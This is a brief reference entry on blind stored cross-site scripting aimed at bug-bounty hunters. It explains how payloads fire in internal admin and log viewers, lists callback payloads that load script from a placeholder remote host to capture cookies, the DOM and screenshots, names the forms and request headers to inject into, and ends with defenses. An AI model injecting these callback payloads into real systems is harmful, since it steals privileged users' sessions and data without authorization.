Blind XSS
Stored XSS whose payload executes in a context the attacker never sees — typically an internal tool (support desk, admin panel, log/analytics viewer, moderation queue) — confirmed only by an out-of-band callback when a privileged user triggers it.
How it works
A variant of Stored XSS where the sink is an interface outside the attacker’s reach, so alert(1) proves nothing. Detection requires a payload that phones home on execution: it loads a remote script/image and reports the firing, so you learn when, where and in whose session it ran. Because these sinks are internal, they often skip the output encoding applied to public-facing views, and the viewer is frequently high-privilege — making blind XSS one of the higher-paying classes (internal-system access that’s otherwise unreachable).
Techniques / payloads
- Callback payloads (not
alert):"><script src=//YOURID.xss.ht></script>,<img src=x onerror=import('//bxss.example')>,<svg/onload=import(...)>, autofocus-input andjavascript:-href variants, plus a<base>tag for some CSP situations. Collected data: DOM, cookies, URL, user-agent, screenshot. - Tooling hosts the probe and alerts on fire: XSS Hunter / XSS Hunter Express (self-hosted, Dockerized, Let’s Encrypt TLS, email/Slack/Discord alerts, correlated injections, secondary-payload loading), ezXSS, bxsshunter.
- Injection surfaces (where internal eyes land):
- Feedback / contact / support-ticket forms (reviewed by staff dashboards).
- Request headers parsed by analytics/log pipelines —
User-Agent,Referer(set a proxy match-and-replace to spray automatically). - No-results search queries logged for SEO; error/exception paths logged to dev consoles.
- Order/shipping/address fields processed by back-office tools.
- Account fields (name, company) surfaced in admin user views.
- Patience + propagation: one profile change can fan out to multiple internal systems, each a separate fire and report. Respect program rules on contact/feedback-form spam.
Notable cases
- StealC malware admin panel (v2.0) — persistent XSS let researchers infiltrate the C2, exfiltrating operators’ session cookies and system fingerprints and observing live stolen-data sessions; shows the internal-viewer model applies even to criminal infra.
- Classic blind-XSS targets in the notes: stored XSS in medical reports and in event email templates — payloads rendered later in staff/recipient contexts rather than the submitter’s own view.
Defenses
- Apply the same contextual output encoding to internal tools, dashboards and log viewers as to public pages — they are not a trust boundary.
- Render logs/analytics as text, never HTML; sanitize header-derived values before display.
- Content Security Policy on admin interfaces to blunt a fired payload;
HttpOnlycookies. - Egress controls on internal tooling reduce the value of a callback/exfil channel.